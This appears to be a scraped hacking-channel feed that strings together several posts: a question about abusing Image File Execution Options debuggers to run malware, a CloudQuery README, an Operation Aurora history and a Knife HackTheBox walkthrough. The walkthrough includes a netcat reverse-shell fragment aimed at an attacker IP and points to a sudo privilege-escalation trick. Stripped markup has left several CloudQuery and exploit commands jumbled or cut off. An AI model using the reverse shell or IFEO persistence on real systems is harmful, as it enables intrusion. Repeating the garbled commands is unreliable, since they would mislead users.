hacking: security in practice
Image File Execution Options Injection

I've been reading about https://attack.mitre.org/techniques/T1546/012/

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger

e.g.,

C:\dbg\ntsd.exe -g notepad.exe

Few questions:

Can adversaries execute malware undetected using this technique?

e.g.
C:\dbg\ntsd.exe -g malware.exe
If yes, does that mean that ntsd.exe pose a risk and should be blocked?

I would like to test this, but how do I get ntsd.exe? I don't see this in Ms Windows.

submitted by /u/w0lfcat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Cloudquery - Transforms Your Cloud Infrastructure Into SQL Database For Easy Monitoring, Governance And Security
http://www.kitploit.com/2021/09/cloudquery-transforms-your-cloud.html

___________________________
@hacking_Attack
@Hacking_Video

What is CloudQuery and why use it?
CloudQuery pulls, normalize, expose and monitor your cloud infrastructure and SaaS apps as SQL database. This abstracts various scattered APIs enabling you to define security, governance, cost and compliance (https://www.kitploit.com/search/label/Compliance) policies with SQL. CloudQuery can be easily extended to more resources and SaaS providers (open an Issue (https://github.com/cloudquery/cloudquery/issues)). CloudQuery comes with built-in policy packs such as: AWS CIS (https://github.com/cloudquery/cloudquery#running-policy-packs) (more is coming!). Think about CloudQuery as a compliance-as-code tool inspired by tools like osquery (https://github.com/osquery/osquery) and terraform (https://github.com/hashicorp/terraform), cool right?
Links
Homepage: https://cloudquery.io (https://cloudquery.io/) Releases: https://github.com/cloudquery/cloudquery/releases Documentation: https://docs.cloudquery.io (https://docs.cloudquery.io/) Hub (Provider and schema docs): https://hub.cloudquery.io/
Supported providers (Actively expanding)
Checkout https://hub.cloudquery.io (https://hub.cloudquery.io/) If you want us to add a new provider or resource please open an Issue (https://github.com/cloudquery/cloudquery/issues). See docs (https://docs.cloudquery.io/developers/developing-new-provider) for developing new provider.
Download & install
You can download the precompiled binary (https://www.kitploit.com/search/label/Binary) from releases (https://github.com/cloudquery/cloudquery/releases), or using CLI: export OS=Darwin # Possible values: Linux,Windows,Darwin
curl -L https://github.com/cloudquery/cloudquery/releases/latest/download/cloudquery_${OS}_x86_64 -o cloudquery
chmod a+x cloudquery
./cloudquery --help

# if you want to download a specific version and not latest use the following endpoint
export VERSION= # specifiy a version
curl -L https://github.com/cloudquery/cloudquery/releases/download/${VERSION}/cloudquery_${OS}_x86_64 -o cloudquery Homebrew brew install cloudquery/tap/cloudquery
# After initial install you can upgrade the version via:
brew upgrade cloudquery
Quick Start

Running
First generate a config.hcl file that will describe which resources you want cloudquery to pull, normalize and transform resources to the specified SQL database by running the following command: azure gcp okta] # cloudquery init gcp azure # This will generate a config containing gcp and azure providers # cloudquery init --help # Show all possible auto generated configs and flags ">cloudquery init aws # choose one or more from: [aws azure gcp okta]
# cloudquery init gcp azure # This will generate a config containing gcp and azure providers
# cloudquery init --help # Show all possible auto generated configs and flags Once your config.hcl is generated run the following command to fetch the resources: # you can spawn a local postgresql with docker
# docker run -p 5432:5432 -e POSTGRES_PASSWORD=pass -d postgres
cloudquery fetch --dsn "postgres://postgres:pass@localhost:5432/postgres"
# cloudquery fetch --help # Show all possible fetch flags Using psql -h localhost -p 5432 -U postgres -d postgres postgres=# \dt
List of relations
Schema | Name | Type | Owner
--------+-------------------------------------------------------------+-------+----------
public | aws_autoscaling_launch_configuration_block_device_mapping | table | postgres
public | aws_autoscaling_launch_configurations | table | postgres Run the following example queries from psql shell List ec2_images SELECT * FROM aws_ec2_images; Find all public facing AWS load balancers SELECT * FROM aws_elbv2_load_balancers WHERE scheme = 'internet-facing';
Running policy packs

___________________________
@hacking_Attack
@Hacking_Video

cloudquery comes with some ready compliance policy pack which you can use as is or modify to fit your use-case. Currently, cloudquery support AWS CIS (https://d0.awsstatic.com/whitepapers/compliance/AWS_CIS_Foundations_Benchmark.pdf) policy pack (it is under active development, so it doesn't cover the whole spec yet). To run AWS CIS pack enter the following commands (make sure you fetched all the resources beforehand by the fetch command): --output= --dsn "postgres://postgres:pass@localhost:5432/postgres" '>./cloudquery policy --path= --output= --dsn "postgres://postgres:pass@localhost:5432/postgres" You can also create your own policy file. E.g.: CREATE VIEW my_custom_view AS ... queries: - name: "Find thing that violates policy" query: > SELECT account_id, arn FROM ... '>views:
- name: "my_custom_view"
query: >
CREATE VIEW my_custom_view AS ...
queries:
- name: "Find thing that violates policy"
query: >
SELECT account_id, arn FROM ... The policy command uses the policy file path ./policy.yml by default, but this can be overridden via the --path flag, or the CQ_POLICY_PATH environment variable. Full Documentation, resources and SQL schema definitions are available here (https://hub.cloudquery.io/).
Providers Authentication
See additional documentation for each provider at https://hub.cloudquery.io (https://hub.cloudquery.io/).
Compile and run
go build .
./cloudquery # --help to see all options

Running on AWS (Lambda, Terraform)
Checkout cloudquery/terraform-aws-cloudquery (https://github.com/cloudquery/terraform-aws-cloudquery)
License
By contributing to cloudquery you agree that your contributions will be licensed as defined on the LICENSE file.
Hiring
If you are into Go, Backend, Cloud, GCP, AWS - ping us at jobs [at] our domain
Contribution
Feel free to open Pull-Request for small fixes and changes. For bigger changes and new providers please open an issue first to prevent double work and discuss relevant stuff.

Download Cloudquery (https://github.com/cloudquery/cloudquery)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pubg 1.6 ConfIg anti ban file.

Pubg 1.6 ConfIg anti ban file.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Preventing Re-Entrancy Attacks — Lessons from History

https://cdn-images-1.medium.com/max/750/1*-3GtZxtlijmrrJzhLmHaMw.png
In the short history of crypto/blockchains, re-entrancy has undoubtedly become one of the most well-known type of attacks. TheDAO, which…

Continue reading on Amber Group »

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Hacking stories – Operation Aurora: When China hacked Google

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Hacking stories – Operation Aurora: When China hacked Googlehttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Post Views: 194
Reading Time: 9 Minutes
It’d been almost 11 years since Google publicly disclosed in a blog, that they’d been the victim of a sophisticated cyber-attack that targeted over 20 other companies and organizations, including Google, Adobe, Oracle, and Microsoft, etc.
Google is the most popular website on the Internet with over 90 billion visits in 2021 already. It’s so popular that many people around the world believe that Google is actually the Internet.

It’s been almost 11 years since Google publicly disclosed in a blog, that they’d been the victim of a sophisticated cyber-attack that targeted over 20 other companies and organizations, including Google, Adobe, Oracle, and Microsoft, etc.

As a result of the attack, Google stated that some of its intellectual property had been stolen from what seemed Chinese factors and that it was reviewing its business in China causing huge reactions in the tech world from the global leaders.
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and worth sharing ?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
The breaking story unfolded
On January 12th, 2010, Google made a blog post named “A new approach to China” describing the attack that affected at least 20 large companies from June to December of 2009.
They said that it was the most sophisticated cyber-attack they endured since their creation and that the virus used was not detected by any antivirus.
With the news of the attack, and after some hours of the announcement, some of the companies affected like Adobe, admitted that they’d been attacked too, along with numerous companies like Microsoft, Yahoo, Juniper Networks.
Operation Aurora – Name Origin
After the news broke, victims’ companies, law enforcement, and security companies all began an extended investigation.
McAfee got a sample of the malware to reverse engineer it and managed to found that when a cybercriminal executed the attack, it was running out of a folder called Aurora.  After finding that, McAfee security researchers were the first ones to call the attack Operation Aurora, because of the malware being inside that folder, named Aurora.

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/aurorapdb.png
Malware path \Aurora_Src - source: content.secureworks.com
Spear-phishing delight
The attackers would profile an employee of the targeted company, elicit the information they need from the target, and then craft a perfect spear-phishing e-mail. They would spoof the Sender of the email to make it look like it was sent from a legitimate user, and finally trick them to click on the link inside the email.

The emails were so well-crafted and personalized that even an experienced security expert would find it hard to detect.
The way in – Internet Explorer Zero-Day
When the victim clicked on the link inside the email, it would take them to a fake website with malware on it. When the website was opened with an Internet Explorer browser, then the attacker would be able to exploit a fully patched internet explorer. The big issue here is that the particular malware was not known by Microsoft, so it was a zero-day bug on the mighty Microsoft.

Upo[...]

___________________________
@hacking_Attack
@Hacking_Video

n visiting the malicious site, the victims’ machine will be forced from the malware to perform commands that will download a new Trojan that will be able to infect a fully-patched version of Windows. The Trojan will then open a tunnel of communication back to the attackers so they could have full access to the victims’ machine.
Chinese human activists Gmail accounts targeted.
The encryption of the malware was strong and stealthy as it was designed to appear like normal web traffic. The use of multiple exploits that weren’t known to anyone was the main reason for the success of the attacks.
The zero-day attacks indicated that the cybercriminals had a well-funded base for their operations since the research and the development of these kinds of exploits can be done with a lot of research and money behind the scenes to fund the operations.
The first clue that the attacks were coming from China was when Google went a step further to dig into the pieces of data to try and understand the attackers’ origins and what they were trying to achieve.
They found out that the first target when compromising a victim’s machine was to access their Gmail account, but not just anyone’s e-mails, but specifically the human rights activists’ e-mails, and to their surprise not any human rights activists’ but they were after Chinese human rights activists’ Gmail accounts.
The situation took Google researchers by surprise when they discovered an odd connection between the compromised accounts. The connection was that every Gmail account user had a court order from the US law enforcement department when they requested to access those specific Gmail accounts.
Google, suspecting government espionage was able to stop them by reading their emails and were only able to tell when the account was created.
Finding Google’s source code via Perforce
Most of the companies have their source code kept at a secure location because it is considered intellectual property (when it’s not Open Source), large companies like Google have their source code kept in Software Configuration Management systems. The company that Google had its source code at the time was Perforce, and while researching the attacks, Google found various problems with the company.
Attackers were able to locate the Perforce servers that hosted Google’s source code and used another zero-day vulnerability to get into Perforce’s systems.
McAfee findings on Perforce
McAfee researchers found out that Perforce was insecure by default. Everyone could create their user without admin intervention., the passwords were un-encrypted along with all communications to Perforce. Their authentication was prone to directory traversal attacks and all the files were stored in cleartext.
Once the attackers were “in” Google systems, they could access easily Perforce systems and it was said that they manage to steal some source code for the Google Chrome browser.
Emergency Patches
Microsoft, upon discovering the vulnerabilities on their Internet Explorer and Windows OS, quickly released update patches. McAfee also proceeded to created new virus signatures to detect the attacks in real-time.
Further Analysis – Origin of attacks
Operation Aurora attacks were found on impacting multiple companies, this led to the assumption that the attack required a lot of people to conduct them. In other words, for such an operation to be carried on it required multiple teams. A team for developing the exploit, a team for researching and gathering information about the targets, and finally teams that would conduct the attack and access the source code remotely.
The origin of the attacks was seemed to coming from two different parts of China, both school locations, the Lanxiang Vocational School and Shanghai Jiao Tong University. The schools were both legitimate and well-established in China, but this only is not a definite answer to why the attacks originated from there. Underground hacking operations or [...]

___________________________
@hacking_Attack
@Hacking_Video

using a server inside a school to wage their attacks could be a possibility.

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/lan-xiang-vocational-school5-1024x683.jpg
Xiang Vocational School in China - source: china15min.files.wordpress.com
China is on the ropes with the US
After the information and data began to add up, it was clear that the attackers selectively accessed the Chinese human rights activists’ Gmail accounts and that the attacks were coming from the two Schools in China.

When the malware’s checksum algorithm was revealed, it was found that it was only used in China.

The circulating rumors lead to multiple media sources and the Secretary of State at the time, Hillary Clinton, to address the issue publicly as being an act of war, espionage on the US, etc.
Google’s History in China – google.cn

In 2005, Google started building the google.cn which was going to be a version of Google for people in China. Chinese people were blocked from being able to use sites like Facebook, Twitter, even google.com at the time.

Google then got its license to operate in China, started building offices, hiring people to work and all seemed to go well until China canceled the license because they wanted to censor some search results like “Tiananmen Square protests”.

However, Google executives weren’t happy about this censorship but eventually reach an agreement with Google and launched google.cn in 2007.

In 2008, when the Olympics were held in China, many people visited the site, but the Chinese government continued to request censorship of more search terms. The censorship requests went on and after the Olympics had ended. The requests included broader search terms to be censored, like anything in sexual nature, anything that criticized the Chinese government or politicians was banned search terms in google.cn.

This made Google executives unhappy and expressed their frustrations about the censorship, believing that now are helping China to conduct their oppression to Chinese people.
Google seized operations in China
When the attacks begin to unfold in 2010, Google executives spent 4 months deciding what to do with China and their operations in China. They’d decided to shut down their google.cn website and redirect all the traffic to google.com.hk, a google version built in Hong Kong, because Hong Kong maintains a separate body of government with different laws than China.

Google proceeded to shut down and panicked employees flooded Google’s offices in China with questions and concerns. Sergey Brin, co-founder of Google, held a teleconference call with all of them to explain the situation after Google’s decision.

After four months, the Chinese government blocked its people from being able to get to all Google sites including google.cn and google.com.hk.
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/t1larg.schneier.google.afpgi_.jpg
Google users in Hong Kong hold a banner saying, "Say no to Internet censorship: Google, well done!" - source: http://edition.cnn.com/
Security researchers’ findings continue
Security researchers from Symantec, Crowdstrike, and Del Secure Works continue to dig further into Operation Aurora. Symantec named to the hacking group Elderwood after finding a variable “Elderwood” used many times in the malware source code.

After a couple of years of the Operation Aurora attack, the Elderwood group was a suspect behind numerous attack campaigns.

The next attack conducted after Operation Aurora was directed into Adobe, containing a zero-day exploit on Adobe Flash. The interesting thing here is that maybe they stole the source code of Flash during Operation Aurora to use it and build new exploits. They were able to breach into many companies using 5 zero-days exploits found in Adobe Flash.
Elderwood hacking group watering-hole attacks
After Operation Aurora the hacking group changed up its tactics. Instead of getting [...]

___________________________
@hacking_Attack
@Hacking_Video

people to click the phishing email, they used a watering-hole attack.

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/teramind_watering-hole-attacks-graphic_20170807-1024x683.jpg
Waterhole attacks simplification - source: itsecuritycentral.teramind.co
They would hack into popular websites, upload malware and wait for regular users to visit the site and become infected, having full access to that computer.

The Elderwood hacking group went on to change their targets, instead of Microsoft, Yahoo, Abode, they would go on and attack defense companies like Raytheon, Boeing General Dynamics, etc. These companies designed and manufactured weapons, army equipment, and planes for the Us military. They would hack into suppliers and third-party companies that dealt directly with those defense companies and not directly to them.

It’s easier and stealthier than attacking those companies directly and could possibly study how a military plane is made and used, figuring out which companies supply those parts or software, and then figure out which websites those companies visit to perform their work.
Elderwood as a hacking group
The team assembled to perform those attacks was highly specialized, trained, and well organized which indicates a country funding the group, presumably China in this case.

They would probably be working together for years, a team of developers to develop exploits, a team to gather the recon-phase on the targets, a team that combines the recon findings and plan a way to get into companies and the team that performs the attacks and waits for targets to get compromised.

Some researchers believe that they constantly change their tactics, and even broken up into smaller groups to avoid being connected with past cyber-crimes.
Aftermath
In 2015, Barrack Obama and Chinese President Xi Jinping met to discuss cyber-attack diplomacy.

They finally came to an agreement in the end.

Despite that, the cyber-war continues between the US and China behind the scenes. China became a suspect for various hacking incidents since 2015, like the malware found in CCleaner, a popular windows clean-up tool, which with that attack the attackers accessed, again, data of Microsoft and Google.

Every country needs to be a step ahead of the other, and trying to gather as much information illegally to achieve that seems to be the way in today’s world.

Foreign countries will continue to play cat and mouse as long as machines are connected to the Internet, which makes it something that we have to live with, learn and be better for the next attack.
References:
⦿ Operation Aurora: Clues in the Code ⦿ Operation Aurora – 2010’s Major Breach by Chinese Hackers ⦿ Google Hack Attack Was Ultra Sophisticated, New Details Show ⦿ Everything You Need To Know About Operation Aurora

⦿ A new approach to China

⦿ Operation Aurora: Clues in the Code ⦿ EP 19: AURORA – Dark Diaries Recent Articles* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/ancheta2-90x90.png Hacking stories – The first botnet hijacker aka the Zombie King4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/featured_image_jonathan_james_hacker-90x90.png Hacking Stories: Jonathan James – The teenager who hacked NASA for fun2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-4-90x90.png Hacking Stories: Andrian Lamo – The ‘homeless’ Hacker3 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/photo-1468436139062-f60a71c5c892-scaled-90x90.jpg “Worst” MacOS Security Bug Recently Patched by Apple3 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/wallpaperflare.com_wallpaper-90x90.jpg Jeff Moss, aka Dark Tangent, the person who founded DEF CON and Black Hat4 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/04/Xbox-Unde[...]

___________________________
@hacking_Attack
@Hacking_Video

rground-90x90.png Hacking Stories: Xbox Underground5 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/03/Pentago-hak-90x90.png Hacking Stories: When two young hackers played war games with Pentagon6 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/01/picture-788930-90x90.jpg Hacking Stories: Albert Gonzalez & the ‘Get Rich or Die Trying’ Crew who stole 130 million credit-card numbers7 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/01/cover-photo-90x90.png SolarWinds Supply Chain Hack – The hack that shone a light on the gaps in the cybersecurity of governments and big companies8 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2020/12/1_alk8KxcB-XwJfMK71kQjvw-90x90.jpeg Steganography – How images can hide secret messages in plain sight10 months ago
The post Hacking stories – Operation Aurora: When China hacked Google first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Knife HacktheBox Walkthrough

Today we are going to solve the lab name as Knife –Hack the Box. The purpose is to accept the challenge to root the machine. Usage of sudo rights and remote code execution to pwn the victim’s machine. Level: EasyNetwork ScanningKali:Attacker MachineVictim’s Machine:HTB Network ScanningRun the Nmap to know the open ports and services.EnumerationWithout losing hope we move forward with the web scanner tool name as “Nikto” to get the vulnerability if any.Run the below command and output reveals the retrieved x-powered by the header as PHP/8.1.0-devExploitation&1|nc 10.10.14.100 1234 >/tmp/fPrivilege EscalationAs shown in the above screenshot, user James may run with /usr/bin/knife as a root because he has the sudo privileges with no password.sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.___________________________
@hacking_Attack
@Hacking_Video

Refer: https://gtfobins.github.io/gtfobins/knife/#sudo___________________________
@hacking_Attack
@Hacking_Video

Polysynth Bug Bounty
https://medium.com/@polysynth/polysynth-bug-bounty-612e8e46e410?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Earn up to 500,000 POL Tokens for finding bugsContinue reading on Medium » (https://medium.com/@polysynth/polysynth-bug-bounty-612e8e46e410?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video